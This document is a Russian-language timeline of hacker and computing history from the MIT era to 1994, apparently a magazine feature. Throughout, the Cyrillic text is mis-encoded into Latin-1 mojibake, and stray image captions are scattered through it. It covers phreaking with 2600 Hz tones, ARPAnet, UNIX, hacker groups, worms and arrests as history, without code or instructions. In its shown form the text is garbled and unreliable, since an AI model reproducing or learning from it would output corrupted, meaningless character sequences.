à çàòåì íà áîëåå ñîâåðøåííûõ TX-0 è PDP, íåêîòîðûå ñòóäåíòû èíñòè-
òóòà ïîñòèãàëè ïðîãðàììèðîâàíèå è ñîðåâíîâàëèñü äðóã ñ äðóãîì â èñ-
êóññòâå îïòèìèçàöèè êîäà. Ïåðâûìè õàêåðñêèìè çâåçäàìè ÌÒÈ ñòàëè:
Ïèòåð Ñàìñîí, Àëàí Êîòàê, Áîá Ñàíäåðñ, Áèëë Ãîñïåð, Äæåððè Ñþçìàí,
Ïèòåð Äà÷, Áîá Âàãíåð, Òîì Êíàéò è äðóãèå. Êîíåö 50-õ � íà÷àëî 60-õ
âîøëè â èñòîðèþ êàê «Çîëîòûå ãîäû õàêåðñòâà».
[1961] Ïðîèçîøåë çàïóñê ïåðâîé ñèñòåìû ðàñïðåäåëåííîãî âðåìåíè
CTSS íà êîìïüþòåðå IBM 7094, ñîåäèíÿþùåé 30 òåðìèíàëîâ.
[1963] Äæåê Äýííèñ âìåñòå ñ äðóãèìè ñòóäåíòàìè ÌÒÈ ïðèñòóïèë ê ðàáî-
òå íà MULTICS (Multiplexed Information and Computing Service) � îïåðàöèîí-
íîé ñèñòåìîé, îáëàäàþùåé íåâèäàííûìè ðàíåå âîçìîæíîñòÿìè. Ïðîåêò
îêàçàëñÿ ñëèøêîì àìáèöèîçíûì, è ïîñêîëüêó ðàçðàáîò÷èêè õîòåëè ñîç-
äàòü èäåàëüíóþ ñèñòåìó, ðàáîòà íàä
ÎÑ ïðîäîëæàëàñü äîëãèå ãîäû. Â
èòîãå áîëüøèíñòâî ó÷àñòíèêîâ ðà-
çî÷àðîâàëîñü êîãäà-ëèáî çàêîí÷èòü
ïðîåêò è ê êîíöó 60-õ îñòàâèëè åãî,
÷òîáû çàíÿòüñÿ äðóãèìè âåùàìè.
[1964] Ñòóäåíò ÌÒÈ Ñòþàðä Íåëü-
ñîí íàïèñàë íà êîìïüþòåðå TX
ïðîãðàììó, ãåíåðèðóþùóþ ñèãíà-
ëû ðàçíûõ ÷àñòîò. Ïîäêëþ÷èâ
ìàøèíó ê òåëåôîííîé ëèíèè, îí
ìîã ìàíèïóëèðîâàòü òåëåôîííîé
ñåòüþ, ïðåðûâàÿ ñèãíàë «çàíÿòî»
èëè ñîâåðøàÿ áåñïëàòíûå çâîíêè.

æó÷îê, âûçâàâøèé ïåðâûé êîìïüþòåðíûé áàã
Ãðåéñ Ìþððåé
Õîïïåð
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[7 àïðåëÿ 1969] Âûõîäèò ïåðâûé RFC (Request for Comments) � äîêó-
ìåíò, îïèñûâàþùèé ñïåöèôèêàöèè êîìïüþòåðíîé ñåòè. Îïóáëèêîâàë
åãî Ñòèâ Êðîêåð èç Êàëèôîðíèéñêîãî Óíèâåðñèòåòà.
[1969] Ñëåïîé ñòóäåíò èç Ôëîðèäû Äæî Ýíãðåññèà, èçâåñòíûé êàê The
Whistler, îáíàðóæèë, ÷òî ñ ïîìîùüþ íàñâèñòûâàíèÿ â òåëåôîííóþ òðóáêó
â îïðåäåëåííîì äèàïàçîíå ÷àñòîò (2600 ãåðö), ìîæíî ïåðåêëþ÷èòü òåëå-
ôîííûé ñèãíàë òàêèì îáðàçîì, ÷òî ìåæäóãîðîäíèå çâîíêè ñòàíîâÿòñÿ áåñ-
ïëàòíûìè. Ýòî îòêðûòèå ñòàëî íà÷àëüíîé òî÷êîé â ðàçâèòèè ôðèêèíãà.
[29 îêòÿáðÿ 1969] Ïðîèñõîäèò ýêñïåðèìåíòàëüíûé çàïóñê ïðîåêòà
ARPAnet � ïåðâîé â èñòîðèè êîìïüþòåðíîé ñåòè, ñîçäàâàâøåéñÿ áîëåå
7 ëåò. Ïåðâûìè óçëàìè ñòàëè Êàëèôîðíèéñêèé óíèâåðñèòåò UCLA è
Ñòýíôîðäñêèé Èññëåäîâàòåëüñêèé èíñòèòóò. Ê äåêàáðþ 1971 ã. ARPAn-
et ñîåäèíÿëà óæå 23 êîìïüþòåðà.
[1969] Êåí Òîìïñîí è Äåííèñ Ðè÷è, ðàáîòíèêè òåëåôîííîé êîìïàíèè
Bell, ïèøóò îïåðàöèîííóþ ñèñòåìó UNIX. Ñîçäàâàåìàÿ êàê ôàéëîâàÿ ñè-
ñòåìà äëÿ çàïóñêà èãðû Space Travel íà êîìïüþòåðå PDP, UNIX ñòàëà ñà-
ìîé ãèáêîé è óäîáíîé ÎÑ ñâîåãî âðåìåíè.
[1970] Êîìïàíèÿ Digital Equipment Corporation îáúÿâëÿåò î ïðîèçâîä-
ñòâå PDP-11 � ðåâîëþöèîííîãî êîìïüþòåðà, ñòàâøåãî ïî-íàñòîÿùåìó
õàêåðñêîé ìàøèíîé â ÌÒÈ è äðóãèõ àìåðèêàíñêèõ óíèâåðñèòåòàõ.
[1971] Äæîí Äðåéïåð, ïîçæå ñòàâøèé èçâåñòíûé ïîä íèêîì Cap'n
Crunch, îáíàðóæèë, ÷òî ïîäàðî÷íàÿ ñâèñòóëüêà â êîðîáêå ñ õëåáíûìè
ñëàäîñòÿìè Cap'n Crunch, òî÷íî èìèòèðóåò ñèãíàë â äèàïàçîíå 2600 Ãö.
Èç ñâîåé íàõîäêè Äðåéïåð ñîîðóäèë óñòðîéñòâî ïîä íàçâàíèåì Blue
Box, êîòîðîå ôðèêåðû íà ïðîòÿæåíèè ìíîãèõ ëåò áóäóò èñïîëüçîâàòü
äëÿ îñóùåñòâëåíèÿ áåñïëàòíûõ çâîíêîâ è âçëîìà òåëåôîííûõ ñåòåé.
[îêòÿáðü 1971] Â æóðíàëå Esquire áûëà îïóáëèêîâàíà ñòàòüÿ Ðîíà
Ðîçåíáàóìà «Ñåêðåòû ìàëåíüêîé ñèíåé êîðîáî÷êè», èç êîòîðîé òû-
ñÿ÷è ëþäåé óçíàëè î áëó áîêñàõ è ôðèêåðàõ. Îíà æå ñïîñîáñòâîâà-
ëà ðàçâèòèþ ôðèêèíãà.
[1972] 36-ëåòíèé àíòèâîåííûé àêòèâèñò Ýááè Õîôôìàí íà÷èíàåò âû-
ïóñê èíôîðìàöèîííîé áþëëåòåíè The Youth International Party Line. Âñêî-
ðå ïî èíèöèàòèâå ïàðòíåðà Ýááè, ôðèêåðà Al Bell, íàçâàíèå ìåíÿåòñÿ íà
TAP (Technical Assistance Program), à îñíîâíîé íàïðàâëåííîñòüþ èçäà-
íèÿ ñòàíîâèòñÿ ïóáëèêàöèÿ ðàçíûõ òðþêîâ äëÿ áîðüáû ñ «áþðîêðàòè÷å-
ñêîé ìàøèíîé». Íàïðèìåð, ñïîñîáû çâîíèòü áåñïëàòíî ñ òàêñîôîíà.
[1973] Â ñåòè ARPAnet ïîÿâëÿåòñÿ ñàìûé ïåðâûé âàðèàíò Ñëîâàðÿ
Õàêåðñêîãî Æàðãîíà, îòîáðàæàþùåãî ìèðîâîççðåíèå, ýòèêó è îñî-
áåííîñòè õàêåðñêîé êóëüòóðû.
[7 ôåâðàëÿ 1973] Âïåðâûå ïðåäñòàâëåí ïðîòîêîë FTP (File Transfer
Protocol). 
[ìàðò 1973] Ïåðâûå ïðîáû ìåæäóíàðîäíîé ñâÿçè ïî ARPANET ìåæäó
àíãëèéñêèì óíèâåðñèòåòîì UCL è íîðâåæñêèì NORSAR. Êîëè÷åñòâî
êîìïüþòåðîâ â Ñåòè äîñòèãëî 2000.
[1973] Îïåðàöèîííàÿ ñèñòåìà UNIX ïîëíîñòüþ ïåðåïèñàíà íà ÿçûêå C
è ñòàëà ñòàíäàðòîì äå-ôàêòî äëÿ óñòàíîâêè íà êîìïüþòåðû àìåðèêàí-
ñêèõ èññëåäîâàòåëüñêèõ èíñòèòóòîâ.
[1973] Ñòóäåíòû êîëëåäæà Ñòèâ Äæîáñ è Ñòèâ Âîçíÿê, áóäóùèå îñíî-
âàòåëè Apple Computer, íà÷èíàþò ñîçäàâàòü è ðàñïðîñòðàíÿòü áëó áîê-
ñû â ÂÓÇàõ ðîäíîãî ãîðîäà.
[1974] Áîëò, Áåðàíåê è Íüþìàí ïðåäñòàâëÿþò Telnet � ïåðâóþ êîììåð-
÷åñêóþ âåðñèþ ARPANET.
[5 ìàðòà 1975] Ïðîõîäèò ïåðâàÿ âñòðå÷à ó÷àñòíèêîâ êëóáà êîìïüþòåð-
íûõ ýíòóçèàñòîâ Homebrew. Åãî ìåìáåðû áûëè ïèîíåðàìè ïåðñîíàëü-
íûõ êîìïüþòåðîâ è â äàëüíåéøåì ñèëüíî ïîâëèÿëè íà âñþ êîìïüþòåð-
íóþ èñòîðèþ.
[1977] Áèëë Äæîé âûïóñêàåò ïåðâóþ âåðñèþ îïåðàöèîííîé ñèñòåìû
BSD (Berkeley Software Distribution).
[1979] Ïîÿâëÿþòñÿ õàêåðñêèå è ôðèêåðñêèå BBS. Îäíèìè èç ïåðâûõ

ñòàëè ëåãåíäàðíûå Sherwood Fo-
rest è Catch-22, íà êîòîðûõ ïóáëè-
êîâàëèñü ñåêðåòíûå òåëåôîííûå
êîäû, ïàðîëè ê êîìïüþòåðíûì ñè-
ñòåìàì, íîìåðà êðåäèòíûõ êàðò è
òðþêè ïî îáõîäó çàùèò.
[1979] Èíæåíåðû èç èññëåäîâà-
òåëüñêîãî öåíòðà Xerox â Ïîëî
Àëüòî ñîçäàþò ïåðâîãî êîìïüþòåðíîãî ÷åðâÿ � ìàëåíüêóþ ïðîãðàììêó,
êîòîðàÿ ñêàíèðóåò ñåòü â ïîèñêàõ ïðîñòàèâàþùèõ êîìïüþòåðîâ. Ðóêî-
âîäñòâóÿñü áëàãîé öåëüþ óâåëè÷èòü ýôôåêòèâíîñòü ðàáîòû ìàøèí, àâ-
òîðû ïîëîæèëè íà÷àëî ýðå êîìïüþòåðíûõ âèðóñîâ è ÷åðâåé, êîòîðûå
ïðè÷èíèëè âðåä íà ìèëëèàðäû äîëëàðîâ.
[1979] Ïîÿâëÿåòñÿ ñèñòåìà îáìåíà ñîîáùåíèÿìè USENET, êîòîðàÿ
ñðàçó æå ñòàíîâèòñÿ ïîïóëÿðíåéøèì ñðåäñòâîì îáùåíèÿ.
[1979] Áðàéàí Êåðíèãàí è Äåíèñ Ðè÷è ïðåäñòàâëÿþò ìèðó ÿçûê ïðî-
ãðàììèðîâàíèÿ C.
[1981] Èàí Ìåðôè aka Captain Zap ïðîíèêàåò íà êîìïüþòåðû êðóïíåé-
øåé òåëåôîííîé êîìïàíèè AT&T è èçìåíÿåò ñèñòåìó òàðèôèêàöèè
çâîíêîâ òàêèì îáðàçîì, ÷òî âñå æèòåëè ãîðîäà çâîíèëè äíåì ïî öåíå
íî÷íûõ òàðèôîâ è íàîáîðîò. Ñîòðóäíèêàì êîìïàíèè óäàëîñü îáíàðó-
æèòü è èñïðàâèòü îøèáêó òîëüêî ÷åðåç 2 äíÿ.
[12 ñåíòÿáðÿ 1981] Ðîæäåíèÿ ãåðìàíñêîãî êëóáà «Õàîñ». Ñ åãî ïîìî-
ùüþ îñíîâàòåëè Âó Õîëëàíä è Ñòåôåí Âåðíåðè ñîáèðàëèñü áîðîòüñÿ ñ
ïîñÿãàòåëüñòâîì ïðàâèòåëüñòâà íà ÷àñòíóþ æèçíü. Çà êîðîòêîå âðåìÿ
«Õàîñ» ñòàíîâèòñÿ ñàìûì èçâåñòíûì õàê-êëóáîì Åâðîïû.
[1981] Îáíàðóæåí ïåðâûé êîìïüþòåðíûé âèðóñ Elk Clone, ðàñïðîñòðà-
íÿþùèéñÿ â Ñåòè. Åãî îòïðàâíîé òî÷êîé ñòàë Òåõàññêèé A&M Óíèâåðñè-
òåò, à àâòîð îñòàëñÿ íåèçâåñòåí.
[1981] Ïîëèöèÿ àðåñòîâûâàåò áàíäó Ðîñêî, â êîòîðóþ âõîäèëè Êåâèí
Ìèòíèê, Ðîñêî Äþïåéí, Ñþçàí Ñàíäåð è Ñòèâ Ðîóäñ. Íåñêîëüêî ëåò îíà
òåððîðèçèðîâàëà òåëåôîííûå è êîìïüþòåðíûå ñåòè, íî çàäåðæàòü õà-
êåðîâ íå óäàâàëîñü. Çàëîæèëà ñâîèõ ïðèÿòåëåé Ñþçàí, áóäó÷è ëþáîâ-
íèöåé Ðîñêî, íå ïðîñòèâøàÿ åìó èçìåíû.
[1982] Ãðóïïà èç øåñòè ìîëîäûõ õàêåðîâ, íàçûâàþùèõ ñåáÿ 414 (â
÷åñòü èíäåêñà ðàéîíà), ïðîèçâîäèò âçëîì 60-òè êîìïüþòåðíûõ ñèñòåì.
Â îñíîâíîì ïîñòðàäàëè èññëåäîâàòåëüñêèå óíèâåðñèòåòû è íàó÷íûå îð-
ãàíèçàöèè, òàêèå êàê Ëàáîðàòîðèÿ Ëîñ Àëàìîñ è Öåíòð èçó÷åíèÿ ðàêî-
âûõ áîëåçíåé Ìàíõýòòåíà.
[1982] Ðè÷àðä Ñòîëìàí ïðèñòóïàåò ê ïðîèçâîäñòâó GNU � ñâîáîäíîãî
ðàñïðîñòðàíÿåìîãî êëîíà UNIX, íàïèñàííîãî íà ÿçûêå C.
[1983] Íà ýêðàíàõ àìåðèêàíñêèõ êèíîòåàòðîâ âïåðâûå âûõîäèò ôèëüì
«Âîåííûå èãðû» ñ Ìýòüþ Áðîäåðèêîì â ãëàâíîé ðîëè. Êàðòèíà ðàññêà-
çûâàåò î õàêåðå-ïîäðîñòêå, âçëîìàâøåì âîåííóþ êîìïüþòåðíóþ ñèñòå-
ìó, ðåçóëüòàòîì ÷åãî ìîãëà ñòàòü Òðåòüÿ ìèðîâàÿ âîéíà. Ôèëüì ñòàë îò-
êðîâåíèåì äëÿ ìíîãèõ ìîëîäûõ êîìïüþòåðùèêîâ òîãî âðåìåíè, âäîõíî-
âèâ èõ èçó÷àòü êîìïüþòåðíûå ñèñòåìû.
[1983] Ñîñòîÿëñÿ ðåëèç ïåðâîãî øåëëà Korn shell (ksh). Àâòîðîì åãî
ñòàë ðàáîòíèê òåëåôîííîé êîìïàíèè AT&T Äýâèä Êîðí.
[1984] Âûõîäèò ñïåöèàëüíûé àêò, äàþùèé Ñåêðåòíîé Ñëóæáå ÑØÀ
ïîëíîìî÷èÿ ïî ðàññëåäîâàíèþ êîìïüþòåðíûõ ïðåñòóïëåíèé.
[1984] Õàêåð ñ íèêîì Lex Luthor îñíîâûâàåò ãðóïïó Legion of Doom,
ñòàâøóþ âñêîðå ñàìîé ìíîãî÷èñëåííîé, êâàëèôèöèðîâàííîé è âëèÿ-
òåëüíîé õàêåðñêîé êîìàíäîé â ìèðå.
[1984] Âûõîäèò ïåðâûé íîìåð ïå÷àòíîãî õàêåðñêîãî æóðíàëà 2600:
The Hacker Quarterly, ãëàâíûì ðåäàêòîðîì êîòîðîãî ñòàë Ýðèê Êîðëåé
aka Emmanuel Goldstein.
[1984] Â ã. Ëîááîê (Òåõàñ) ïîëó÷àåò ðîæäåíèå íîâàÿ õàêåðñêàÿ ãðóïïà
Cult of Dead Cow. Îñíîâàòåëÿìè ÿâëÿëèñü Swamp Ratte, Franken Gibe è Sid

Äæîí Äðåéïåð aka Cap'n Crunch

ñâèñòóëüêà èç êî-
ðîáêè Cap'n Crunch

ïèîíåðû ARPAnet Äåíèñ Ðè÷÷è
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Vicious, ñèñîïû îäíîèìåííîé BBS. Èçíà÷àëüíî
èçâåñòíàÿ áëàãîäàðÿ ñâîåìó àíäåãðàóíäîâîìó
æóðíàëó, íàñòîÿùóþ ñëàâó CoDC ïîëó÷èëà ïî-
ñëå ðåëèçà ïðîãðàììû Back Orifice â 1998 ã.
[1984] Ýíäðþ Òýíåíáàóì ïèøåò ïåðâóþ âåðñèþ Minix � ôðèâàðíîãî êëîíà
UNIX, êîòîðûé âïîñëåäñòâèè âäîõíîâèò Ëèíóñà Òîðâàëüäñà íàïèñàòü Linux.
[15 ìàðòà 1985] Çàðåãèñòðèðîâàí ïåðâûé äîìåí Symbolics.com
[íîÿáðü 1985] Ðýíäè Òèøëåð aka Taran King è Êðýã Íåèäîðô aka Knight
Lightning âûïóñêàþò ïåðâûé íîìåð æóðíàëà Phrack. Ñîçäàâàåìûé ïðè
ó÷àñòèè ìíîãèõ ïðåäñòàâèòåëåé àíäåãðàóíäà, ýëåêòðîííûé è áåñïëàò-
íûé, æóðíàë áûñòðî ñòàë ñàìûì ïîïóëÿðíûì õàêåðñêèì èçäàíèåì.
[1985] Ðåëèç Microsoft Windows 1.0, êîòîðàÿ ïðîäàâàëàñü ïî öåíå 100$.
[2 îêòÿáðÿ 1986] Âûõîäèò Computer Fraud and Abuse Act, ðàçðàáîòàí-
íûé âëàñòÿìè ÑØÀ, îôèöèàëüíî îáúÿâèâøèé êîìïüþòåðíûé âçëîì âíå
çàêîíà è îïðåäåëèâøèé íàêàçàíèå çà òàêîãî ðîäà ïðåñòóïëåíèÿ.
[1986] Îäèí èç ïåðâûõ êîìïüþòåðíûõ âèðóñîâ The Brain àòàêóåò ñèñòå-
ìû, ðàáîòàþùèå ïîä MS-DOS.
[1987] Â Èòàëèè âûõîäèò ïåðâûé íîìåð êðàêåðñêîãî æóðíàëà Decoder.
[1987] Ñ öåëüþ èçó÷åíèÿ è ðåøåíèÿ ïðîáëåì êîìïüþòåðíîé áåçîïàñíîñòè,
îñíîâàíà security-îðãàíèçàöèÿ CERT (Computer Emergency Response Team).
[1987] Ðåäàêòîðû æóðíàëà Phrack îðãàíèçóþò çàêðûòîå àíäåãðàóíäîâîå ïà-
òè SummerCon, êîòîðîå ïîñåòèëè 20 èçâåñòíåéøèõ àìåðèêàíñêèõ õàêåðîâ.
[1988] Ïåðâûé ñëó÷àé èñïîëüçîâàíèÿ Computer Fraud and Abuse Act â ñó-
äå. Ãåðáåðòó Çèíó aka ShadowHawk âûíåñëè îáâèíåíèå âî âçëîìå êîì-
ïüþòåðîâ AT&T è Ìèíèñòåðñòâà Îáîðîíû ÑØÀ è ïðèãîâîðèëè ê øòðàôó
â 10 òûñÿ÷ äîëëàðîâ è òþðåìíîìó çàêëþ÷åíèþ ñðîêîì 9 ìåñÿöåâ.
[íîÿáðü 1988] Ýïèäåìèÿ êîìïüþòåðíîãî ÷åðâÿ ïîðàæàåò ARPANET,
ïàðàëèçîâàâ ðàáîòó 6 òûñÿ÷ êîìïüþòåðîâ. Ñòàðòîâàâ èç Ìàññà÷óñåò-

ñêîé Ëàáîðàòîðèè ÈÈ, çà îäíó
íî÷ü îí çàðàçèë âñå êëþ÷åâûå óç-

ëû ñåòè. ×òîáû íåéòðàëèçîâàòü çà-
ðàçó, â èíñòèòóòå Áåðêëè ïðîøëî
ñðî÷íîå ñîáðàíèå êðóïíåéøèõ
êîìïüþòåðíûõ ñïåöèàëèñòîâ ñòðà-
íû, êîòîðûå äèçàññåìáëèðîâàëè
êîä. Àâòîðîì ÷åðâÿ îêàçàëñÿ Ðîáåðò Ìîððèñ � 24-ëåòíèé ñòóäåíò Êîð-
íåëüñêîãî óíèâåðñèòåòà, êîòîðûé äîïóñòèë îøèáêó â êîäå ïðîãðàììû, â
ðåçóëüòàòå ÷åãî, ÷åðâü ðàñïðîñòðàíèëñÿ ñ ìîëíèåíîñíîé áûñòðîòîé.
[1988] Â ðåçóëüòàòå êîìïüþòåðíîãî âçëîìà, Ïåðâûé Íàöèîíàëüíûé
áàíê ×èêàãî òåðÿåò 70 ìèëëèîíîâ äîëëàðîâ.
[1989] Äæóä Ìèëòîí aka St. Jude è R.U. Sirius âûïóñêàþò ïåðâûé íîìåð æóð-
íàëà Mondo 2000 � îäíîãî èç ñàìûõ ïîïóëÿðíûõ òåõíè÷åñêèõ èçäàíèé 90-õ.
[1989] Phiber Optik îñíîâûâàåò ãðóïïó Masters of Deception, öåëüþ êî-
òîðîé áûëî ñòàòü ëó÷øåé õàê-ãðóïïîé â ìèðå. Ñëåäóþùèå ïàðó ëåò
Masters of Deception àêòèâíî áîðåòñÿ ñ Legion of Doom çà ýòîò òèòóë �
îáå êîìàíäû ñîâåðøàþò ðÿä äåðçêèõ âçëîìîâ, ïûòàÿñü ïåðåïëþíóòü
äðóã äðóãà. Â 1992 ã. «áîëüøàÿ õàêåðñêàÿ âîéíà» çàêàí÷èâàåòñÿ àðå-
ñòîì áîëüøèíñòâà ìåìáåðîâ MoD.
[1989] Çàôèêñèðîâàíî ïîÿâëåíèå ïåðâûõ ñòåëñ-âèðóñîâ.
[1989] Ïîñëå ñâîåãî àðåñòà The Mentor ïèøåò «Ìàíèôåñò Õàêåðà»,
êîòîðûé áûë îïóáëèêîâàí â æóðíàëå Phrack è ïîëó÷èë îãðîìíóþ ïî-
ïóëÿðíîñòü â àíäåãðàóíäå.
[ÿíâàðü 1990] Ñîñòîÿëñÿ ñóä íàä íåìåöêèìè õàêåðàìè, îáâèíÿåìû-
ìè â øïèîíàæå â ïîëüçó ÊÃÁ. Êàðë Êîõ, Ïèòåð Êàðë, Ìàðêóñ Õåññ è
Äîá íà ïðîòÿæåíèè íåñêîëüêèõ ìåñÿöåâ çà äåíüãè ñíàáæàëè ðóññêóþ
ðàçâåäêó èíôîðìàöèåé, ïîëó÷åííîé â ðåçóëüòàòå âçëîìà ïðàâèòåëü-
ñòâåííûõ è êîììåð÷åñêèõ ñèñòåì. Ãëàâíûì ñâèäåòåëåì íà ñóäå âû-
ñòóïèë îäèí èç ÷ëåíîâ êîìàíäû õàêåð Ãàíñ Õüþáíåð aka Pengo. Çà
äîáðîâîëüíîå ïðèçíàíèå è äà÷ó ïîêàçàíèé ïðîòèâ îñòàëüíûõ åãî

àìíèñòèðîâàëè. Îñòàëüíûå ïîëó÷èëè óñëîâ-
íûå ñðîêè è øòðàôû.
[1990] Æåíùèíà ñ ïñåâäîíèìîì Natasha Gri-
gori çàïóñêàåò BBS, ñòàâøóþ öåíòðàëüíûì ìå-
ñòîì îáùåíèÿ ñîôòâàðíûõ ïèðàòîâ. Ïîçæå îíà
æå ñòàíåò îñíîâàòåëåì antichildporn.org �
ãðóïïû õàêåðîâ, âûñëåæèâàþùèõ ðàñïðîñòðà-
íèòåëåé äåòñêîãî ïîðíî è îòñûëàþùèõ ñâåäå-
íèÿ î íèõ ïðàâîîõðàíèòåëüíûì ñòðóêòóðàì.
[1990] Ñôîðìèðîâàíà Electronic Frontier Foun-
dation � îðãàíèçàöèÿ ïî çàùèòå ïðàâ ëþäåé,
àðåñòîâàííûõ ïî îáâèíåíèþ â êîìïüþòåðíûõ
ïðåñòóïëåíèÿõ.
[1990] Ñîñòîÿëñÿ ñóä íàä ðåäàêòîðîì æóðíàëà
Phrack Êðýãîì Íåèäîðôîì, îïóáëèêîâàâøèì
äîêóìåíò, â êîòîðîì îïèñûâàëèñü ñïåöèôèêà-
öèè òåëåôîííîé ñëóæáû 911. Òåëåôîííàÿ êîì-ëîãîòèï Cult of Dead Cow

Ïîñòåð ê ôèëüìó «Õàêåðû»

ïîñòåð ôèëüìà Wargames

Windows 1.0

æóðíàë 2600

Òèì Áåðíåðñ-Ëè

Minix

Êåâèí Ìèòíèê

ñõåìà ARPANET 1977 ã.



ïàíèÿ îöåíèëà ñòîèìîñòü äîêóìåíòà â 80 òûñÿ÷ äîëëàðîâ, íî íà ñóäå
óäàëîñü äîêàçàòü, ÷òî ýòîò òåêñòîâûé ôàéë äîñòóïåí â áèáëèîòåêå øòà-
òà âñåì æåëàþùèì è åãî ðåàëüíàÿ öåíà íå ïðåâûøàåò 13$. Êðýãà îïðà-
âäàëè.
[ìàé 1990] Ïðîõîäèò îïåðàöèÿ Sundevil � êðóïíåéøèé â èñòîðèè àíòè-
õàêåðñêèé ðåéä, îõâàòèâøèé 13 ãîðîäîâ. Â îïåðàöèè áûëè çàäåéñòâîâà-
íû 150 ñîòðóäíèêîâ ñïåöñëóæá, êîòîðûì óäàëîñü èçúÿòü 42 êîìïüþòåðà,
23 òûñÿ÷è ôëîïïè-äèñêîâ, ãîðó ðàñïå÷àòîê è äðóãèõ õàêåðñêèõ èíñòðó-
ìåíòîâ. Çàäåðæàííûå õàêåðû äàâàëè ïîêàçàíèÿ äðóã ïðîòèâ äðóãà â îá-
ìåí íà àìíèñòèþ, ÷òî íå ëó÷øèì îáðàçîì ïîâëèÿëî íà íåêîãäà äðóæíûé
àíäåãðàóíä. Ðåçóëüòàòîì ðåéäà ñòàëî òàêæå çàêðûòèå ìíîãèõ êðóïíûõ
õàêåðñêèõ BBS è ïðèâåëî ê óõîäó ñî ñöåíû èçâåñòíûõ õàêåðîâ.
[1990] Êåâèí Ïîóëñåí ñîâìåñòíî ñ Ðîíîì Îñòèíîì ñîâåðøàþò ñâîþ èç-
âåñòíóþ ðàäèî-àôåðó. Êîãäà Ëîñ-Àíäæåëåññêàÿ ðàäèîñòàíöèÿ îáúÿâèëà
î êîíêóðñå, â êîòîðîì 102-ìó ïî ñ÷åòó äîçâîíèâøåìóñÿ ïîîáåùàëè ïðå-
çåíòîâàòü Ïîðøå ñòîèìîñòüþ 50 òûñÿ÷ äîëëàðîâ, õàêåðû âçëîìàëè òå-
ëåôîííóþ ñåòü ñòàíöèè è çàõâàòèëè óïðàâëåíèå íàä 25 òåëåôîííûìè
ëèíèÿìè. Åñòåñòâåííî, 102-ì íîìåðîì îêàçàëñÿ Êåâèí, êîòîðûé ïîçæå
çàáðàë ñâîé ïðèç, à åùå ïîçæå áûë àðåñòîâàí.
[1991] Ñîñòîÿëñÿ ðåëèç PGP (Pretty Good Privacy) � øèôðîâàëüíîé
ïðîãðàììû, ðàçðàáîòàííîé Ôèëèïïîì Çèììåðìàíîì. Ïðàâèòåëüñòâî
ÑØÀ âûäâèíóëî ïðîòèâ àâòîðà îáâèíåíèå â íàðóøåíèè ýêñïîðòíûõ
îãðàíè÷åíèé øèôðîâàëüíîãî ÏÎ, íî ýòî íå ïîìåøàëî PGP ñòàòü âñå-
ìèðíî ïîïóëÿðíûì èíñòðóìåíòîì äëÿ çàùèòû äàííûõ.
[1991] Âûõîäèò ïåðâûé òåêñòîâûé áðàóçåð Lynx ïîä UNIX.
[6 àâãóñòà 1991] Òèì Áåðíåðñ-Ëè îáúÿâèë î íà÷àëå ðàáîòû íàä WWW.
[17 ñåíòÿáðÿ 1991] Ëèíóñ Òîðâàëüäñ ïðåäñòàâëÿåò ïåðâóþ âåðñèþ
ñâîåé îïåðàöèîííîé ñèñòåìû Linux.
[1992] Êîìïüþòåðíîå ñîîáùåñòâî âçáóäîðàæåíî óãðîçîé çàïóñêà âè-
ðóñà «Ìèêåëàíäæåëî», êîòîðûé 6 ìàðòà 1992 ã. äîëæåí áûë îáðóøèòü
òûñÿ÷è êîìïüþòåðîâ âî âñåì ìèðå. Íî êîãäà íàñòàëà ðîêîâàÿ äàòà,
èíöèäåíòà íå ïðîèçîøëî.
[1992] Íà ýêðàíû âûõîäèò ôèëüì Sneakers, ðàññêàçûâàþùèé î ãðóïïå
ïðîôåññèîíàëüíûõ õàêåðîâ.

[1993] Íàöèîíàëüíîå Àãåíòñòâî Áåçîïàñíîñòè
ðàçðàáîòàëî SHA (Secure Hash Algorithm).
[1993] Ïðîôåññîð Òåõàññêîãî óíèâåðñèòåòà A&M
ïîëó÷àåò ìíîãî÷èñëåííûå ñìåðòåëüíûå óãðîçû, ïî-
ñëå òîãî êàê õàêåð, âîñïîëüçîâàâøèñü åãî àêêàóí-
òîì, ðàçîñëàë 20 òûñÿ÷ ðàñèñòñêèõ ñîîáùåíèé.
[21 àïðåëÿ 1993] Íàöèîíàëüíûé öåíòð ðàçðà-
áîòêè ïðèëîæåíèé äëÿ ñóïåðêîìïüþòåðîâ âû-
ïóñêàåò Mosaic 1.0 � ïåðâûé â ìèðå âåá-áðàó-
çåð. Åãî ðàçðàáîò÷èêè âñêîðå ñòàíóò îñíîâàòå-
ëÿìè êîìïàíèè Netscape.
[9 èþëÿ 1993] Äæåôô Ìîññ îðãàíèçóåò De-
fcon � êîíôåðåíöèþ ïî êîìïüþòåðíîé áåçî-
ïàñíîñòè, ïðîõîäÿùóþ â Ëàñ-Âåãàñå. Ìåðîïðèÿ-
òèå ïëàíèðîâàëîñü ñòàòü åäèíîâðåìåííûì, íî
îêàçàëîñü íàñòîëüêî ïîïóëÿðíûì, ÷òî ñî-

ñòîÿëîñü â ñëåäóþùåì ãîäó è ïðîâîäèòñÿ åæåãîäíî ïî ñåé äåíü.
[17 èþëÿ 1993] Â ñâåò âûõîäèò ñàìûé ïåðâûé êîììåð÷åñêèé äè-
ñòðèáóòèâ Linux � Slackware.
[Äåêàáðü 1993] Ðåëèç ïåðâîé âåðñèè îïåðàöèîííîé ñèñòåìû FreeBSD.
[1994] Îñíîâàíà êîìïàíèÿ RedHat, êîòîðàÿ âûïóñêàåò îäèí èç ñàìûõ
ïîïóëÿðíûõ äèñòðèáóòèâîâ Linux ñ îäíîèìåííûì íàçâàíèåì.
[12 ÿíâàðÿ 1994] Çà ìíîãî÷èñëåííûå êîìïüþòåðíûå ïðåñòóïëåíèÿ,
Ìàðêà Àáåíà aka Phiber Optik, áûâøåãî ìåìáåðà Legion of Doom è îñ-
íîâàòåëÿ Masters of Deception, ïðèãîâàðèâàþò ê ãîäó ëèøåíèÿ ñâîáî-
äû. Âñêîðå ïîñëå ýòîãî æóðíàë New York Magazine âêëþ÷èò õàêåðà â
ñïèñîê 100 óìíåéøèõ ëþäåé ãîðîäà.
[12 àïðåëÿ 1994] Â îäíîé èç íîâîñòíûõ ãðóïï ïîÿâëÿåòñÿ ðåêëàìíîå
ñîîáùåíèå äâóõ àäâîêàòîâ, ðåêëàìèðóþùèõ ñâîè óñëóãè. ×èòàòåëè, íàç-
âàëè ýòî ïèñüìî spam � ñ òåõ ïîð ýòî ñëîâå÷êî ñòàëî îäíèì èç ñàìûõ
ðàñïðîñòðàíåííûõ êîìïüþòåðíûõ òåðìèíîâ.
